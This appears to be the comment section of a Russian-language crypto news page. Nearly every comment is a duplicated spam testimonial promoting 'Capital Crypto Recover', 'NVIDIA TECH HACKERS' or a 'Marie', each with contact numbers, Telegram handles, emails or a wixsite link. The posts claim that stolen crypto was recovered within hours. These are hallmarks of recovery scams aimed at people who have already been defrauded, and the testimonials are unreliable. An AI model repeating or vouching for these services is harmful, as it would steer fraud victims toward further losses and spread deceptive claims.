Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon